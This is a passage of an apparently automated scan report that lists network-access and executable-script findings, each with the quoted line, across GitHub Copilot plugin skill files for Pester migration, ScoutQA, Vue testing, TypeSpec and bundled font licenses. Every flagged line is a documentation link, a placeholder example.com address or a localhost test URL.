    There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 75
    https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 110
    Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest
  • Network accessline 112
    template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests.
  • Network accessline 178
    it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on   `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See   https://pester.dev/docs/usage/mocking.
  • Network accessline 180
    https://pester.dev/docs/usage/mocking.

harness/github-copilot/plugins/testing-automation/skills/pester-migration/references/v5-to-v6.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v5-to-v6
  • Network accessline 60
    single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs
  • Network accessline 62
    edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases.
  • Network accessline 197
    failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes
  • Network accessline 199
    part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.

harness/github-copilot/plugins/testing-automation/skills/pester-should-migration/SKILL.md

  • Network accessline 116
    - `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 117
    - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 118
    - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 119
    - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 120
    - `https://pester.dev/docs/migrations/v5-to-v6`
  • Network accessline 159
    - [Should-Be command](https://pester.dev/docs/commands/Should-Be)
  • Network accessline 160
    - [Should assertions concept](https://pester.dev/docs/assertions/should-command)
  • Network accessline 161
    - [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)

harness/github-copilot/plugins/testing-automation/skills/pester-should-migration/references/assertion-map.md

  • Network accessline 4
    Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`)
  • Network accessline 6
    open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).

harness/github-copilot/plugins/testing-automation/skills/playwright-automation-fill-in-form/SKILL.md

  • Network accessline 19
    - Use Playwright MCP browser automation, not direct HTTP requests, because the task depends on visible form controls and file upload widgets. - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Mi
  • Network accessline 20
    - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Microsoft Forms URL.
  • Network accessline 54
    **Status:** ready for review | blocked **URL:** `https://forms.microsoft.com/url-of-my-form`
  • Network accessline 55
    **URL:** `https://forms.microsoft.com/url-of-my-form`
  • Network accessline 70
    - [ ] The browser navigated to `https://forms.microsoft.com/url-of-my-form` or the user-supplied replacement URL.

harness/github-copilot/plugins/testing-automation/skills/scoutqa-test/SKILL.md

  • Network accessline 56
    scoutqa --url "https://example.com" --prompt "Your test instructions"
  • Network accessline 61
    - **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 62
    - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 92
    # Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 93
    scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 110
    scoutqa --url "https://example.com" --prompt "
  • Network accessline 119
    scoutqa --url "https://shop.example.com" --prompt "
  • Network accessline 130
    # Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 131
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 136
    # Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 137
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 142
    # Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 143
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 248
    scoutqa --url "http://localhost:3000/register" --prompt "
  • Network accessline 298
    Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 299
    View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 381
    **Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 383
    **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 401
    - [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such
  • Network accessline 402
    - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc
  • Network accessline 403
    - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`.
  • Network accessline 404
    - [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.

harness/github-copilot/plugins/testing-automation/skills/unit-test-vue-pinia/SKILL.md

  • Network accessline 153
    Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/>
  • Network accessline 220
    - `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 221
    - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 222
    - Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>

harness/github-copilot/plugins/testing-automation/skills/webapp-testing/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/plugins/testing-automation/skills/webapp-testing/SKILL.md

  • Network accessline 63
    browser = p.chromium.launch(headless=True) # Always launch chromium in headless mode     page = browser.new_page()     page.goto('http://localhost:5173') # Server already running and ready
  • Network accessline 64
    page = browser.new_page()     page.goto('http://localhost:5173') # Server already running and ready     page.wait_for_load_state('networkidle') # CRITICAL: Wait for JS to execute
  • Network accessline 65
    page.goto('http://localhost:5173') # Server already running and ready

harness/github-copilot/plugins/testing-automation/skills/webapp-testing/examples/console_logging.py

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    url = 'http://localhost:5173'  # Replace with your URL

harness/github-copilot/plugins/testing-automation/skills/webapp-testing/examples/element_discovery.py

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    page.goto('http://localhost:5173')

harness/github-copilot/plugins/testing-automation/skills/webapp-testing/examples/static_html_automation.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/testing-automation/skills/webapp-testing/scripts/with_server.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 26
    while time.time() - start_time < timeout:         try:             with socket.create_connection(('localhost', port), timeout=1):
  • Network accessline 27
    try:             with socket.create_connection(('localhost', port), timeout=1):                 return True
  • Network accessline 28
    with socket.create_connection(('localhost', port), timeout=1):

harness/github-copilot/plugins/testing-frameworks/skills/pester-migration/SKILL.md

  • Network accessline 22
    - Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - 
  • Network accessline 24
    - Installation reference: https://pester.dev/docs/introduction/installation.
  • Network accessline 36
    Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5.
  • Network accessline 184
    - [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5)
  • Network accessline 185
    - Installation: https://pester.dev/docs/introduction/installation.

harness/github-copilot/plugins/testing-frameworks/skills/pester-migration/references/v3-to-v4.md

  • Network accessline 6
    Official guide: https://pester.dev/docs/migrations/v3-to-v4
  • Network accessline 29
    There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee
  • Network accessline 30
    that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n
  • Network accessline 31
    https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced
  • Network accessline 74
    cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873.
  • Network accessline 76
    https://github.com/pester/Pester/issues/873.
  • Network accessline 78
    Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81
  • Network accessline 80
    https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.

harness/github-copilot/plugins/testing-frameworks/skills/pester-migration/references/v4-to-v5.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v4-to-v5 ·
  • Network accessline 8
    Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5
  • Network accessline 70
    > `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 72
    > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 74
    There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 75
    https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 110
    Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest
  • Network accessline 112
    template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests.
  • Network accessline 178
    it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on   `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See   https://pester.dev/docs/usage/mocking.
  • Network accessline 180
    https://pester.dev/docs/usage/mocking.

harness/github-copilot/plugins/testing-frameworks/skills/pester-migration/references/v5-to-v6.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v5-to-v6
  • Network accessline 60
    single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs
  • Network accessline 62
    edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases.
  • Network accessline 197
    failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes
  • Network accessline 199
    part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.

harness/github-copilot/plugins/testing-frameworks/skills/pester-should-migration/SKILL.md

  • Network accessline 116
    - `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 117
    - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 118
    - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 119
    - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 120
    - `https://pester.dev/docs/migrations/v5-to-v6`
  • Network accessline 159
    - [Should-Be command](https://pester.dev/docs/commands/Should-Be)
  • Network accessline 160
    - [Should assertions concept](https://pester.dev/docs/assertions/should-command)
  • Network accessline 161
    - [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)

harness/github-copilot/plugins/testing-frameworks/skills/pester-should-migration/references/assertion-map.md

  • Network accessline 4
    Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`)
  • Network accessline 6
    open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).

harness/github-copilot/plugins/testing-frameworks/skills/scoutqa-test/SKILL.md

  • Network accessline 56
    scoutqa --url "https://example.com" --prompt "Your test instructions"
  • Network accessline 61
    - **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 62
    - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 92
    # Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 93
    scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 110
    scoutqa --url "https://example.com" --prompt "
  • Network accessline 119
    scoutqa --url "https://shop.example.com" --prompt "
  • Network accessline 130
    # Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 131
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 136
    # Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 137
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 142
    # Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 143
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 248
    scoutqa --url "http://localhost:3000/register" --prompt "
  • Network accessline 298
    Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 299
    View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 381
    **Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 383
    **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 401
    - [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such
  • Network accessline 402
    - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc
  • Network accessline 403
    - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`.
  • Network accessline 404
    - [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.

harness/github-copilot/plugins/testing-frameworks/skills/unit-test-vue-pinia/SKILL.md

  • Network accessline 153
    Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/>
  • Network accessline 220
    - `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 221
    - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 222
    - Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>

harness/github-copilot/plugins/typescript-mcp-development/skills/typescript-mcp-server-generator/SKILL.md

  • Network accessline 99
    | Transport | Use when | Required details | | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for loca
  • Network accessline 100
    | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling be
  • Network accessline 101
    | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling because v2 rejects non

harness/github-copilot/plugins/typespec-m365-copilot/skills/typespec-api-operations/SKILL.md

  • Network accessline 37
    @service @server("https://api.example.com")
  • Network accessline 38
    @server("https://api.example.com")
  • Network accessline 118
    {   "type": "AdaptiveCard",   "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 119
    "type": "AdaptiveCard",   "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",   "version": "1.5",
  • Network accessline 120
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 131
    ],   "actions": [     { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }
  • Network accessline 132
    "actions": [     { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }   ]
  • Network accessline 133
    { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }
  • Network accessline 264
    - [Adaptive Card schema](http://adaptivecards.io/schemas/adaptive-card.json)
  • Network accessline 265
    - [Example API endpoint](https://api.example.com)
  • Network accessline 266
    - [Example item URL](https://example.com/items/${id})

harness/github-copilot/plugins/typespec-m365-copilot/skills/typespec-create-api-plugin/SKILL.md

  • Network accessline 85
    | Public API | Omit `@useAuth`; do not create placeholder auth models. | | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authoriza
  • Network accessline 86
    | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenU
  • Network accessline 87
    | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenUrl: "https://oauth.example.com/token"; refreshUrl: "https://oauth.example.com/token

harness/github-copilot/plugins/uizze/skills/anti-ui-slop/SKILL.md

  • Network accessline 2
    name: "anti-ui-slop" description: >-   Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when bu
  • Network accessline 3
    description: >-   Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, 
  • Network accessline 4
    Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing UI, w
  • Network accessline 21
    - Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available.
  • Network accessline 42
    Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette.
  • Network accessline 148
    - [UIZZE public catalogue](https://uizze.com)

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt

  • Network accessline 1
    Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt

  • Network accessline 1
    Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt

  • Network accessline 1
    Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt

  • Network accessline 1
    Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/DMMono-OFL.txt

  • Network accessline 1
    Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt

  • Network accessline 4
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 6
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt

  • Network accessline 1
    Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Gloock-OFL.txt

  • Network accessline 1
    Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt

  • Network accessline 1
    Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Italiana-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt

  • Network accessline 1
    Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Jura-OFL.txt

  • Network accessline 1
    Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt

  • Network accessline 1
    Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville.
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Lora-OFL.txt

  • Network accessline 1
    Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora".
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt

  • Network accessline 1
    Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Outfit-OFL.txt

  • Network accessline 1
    Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt

  • Network accessline 1
    Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt

  • Network accessline 1
    Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt

  • Network accessline 1
    Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt

  • Network accessline 1
    Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Tektur-OFL.txt

  • Network accessline 1
    Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt

  • Network accessline 1
    Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt

  • Network accessline 1
    Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/plugins/ux-design-tooling/skills/penpot-uiux-design/SKILL.md

  • Network accessline 22
